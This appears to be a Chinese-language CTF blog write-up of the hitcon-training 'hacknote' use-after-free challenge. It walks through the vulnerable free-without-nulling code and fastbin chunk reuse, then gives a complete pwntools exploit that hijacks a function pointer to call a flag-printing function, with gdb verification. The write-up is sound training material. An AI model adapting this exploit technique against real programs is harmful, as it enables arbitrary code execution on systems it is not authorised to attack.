UAF

参考ctf-wiki

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/heap/use_after_free/hitcon-training-hacknote

以下实验所用程序(与源码)见上述链接中文件hacknote(与hacknote.c)

漏洞的发现

del_note()函数中free掉指针之后没有清零:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
// 并且在add_note中是根据notelist[i]是否为nullptr判断在哪个位置add新note

程序中给了system:

1
2
3
4
int magic()
{
return system("cat flag");
}

漏洞利用方法

exp如下

1
2
3
4
5
6
add(0x20, 'aaaa\n')
add(0x20, 'bbbb\n')
delete(0)
delete(1)
add(0x8, p32(magic))
show(0)

下面介绍这个exp的原理

在delete 0和1之后fastbin结构如下图

chunk A是申请的`note[0]`结构体的空间,chunk B是`note[0]->content`的空间

chunk C、D是note[1]的空间

由于fastbin会把同样大小的块放在同一个链表上,因此两个0x8大小的chunk A、 chunk C会被连在一起,并且由于fastbin使用的是先进后出的单向链表,A在C下面。

当申请一个content大小为0x8的新的note时,会将A和C从fastbin中取出。先malloc结构体本身,使用chunk C,然后malloc content,使用chunk A。

因此add(0x8,p32(magic))会把magic地址写入content,调用show的时候,会直接执行这个函数。

理论是如此,下面用gdb验证一下

调试

完整exp,在两次add、两次delete、最后一次add之后分别attach查看notelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
r = process(file_name)
elf = ELF('./hacknote')
menu = 'Your choice :'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Note size :', str(size))
r.sendafter('Content :', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

def dbg():
gdb.attach(r)

add(0x20, 'aaaa\n')
add(0x20, 'bbbb\n')
dbg()
delete(0)
delete(1)
dbg()
magic = 0x08048986
add(0x8, p32(magic))
dbg()
show(0)
r.interactive()

在ida中可以看到notelist的地址

1
2
3
4
.bss:0804A070 ; void *notelist
.bss:0804A070 notelist dd ? ; DATA XREF: add_note+40↑r
.bss:0804A070 ; add_note+61↑w ...
.bss:0804A074 db ? ;

查看三次notelist的内容,

可以看到,0x92f31a0上的地址为print_note函数的地址,在free之前,0x92f31a4上的内容指向下一行开头,即aaaa字符串,所以这里就是note[0]。

在第三次add之后改变了note[0]原本在print_note上的函数指针,因此show(0)时会执行magic


UAF
https://isolator-1.github.io/2022/11/22/ctf-pwn/UAF/
Author
Isolator
Posted on
November 22, 2022
Licensed under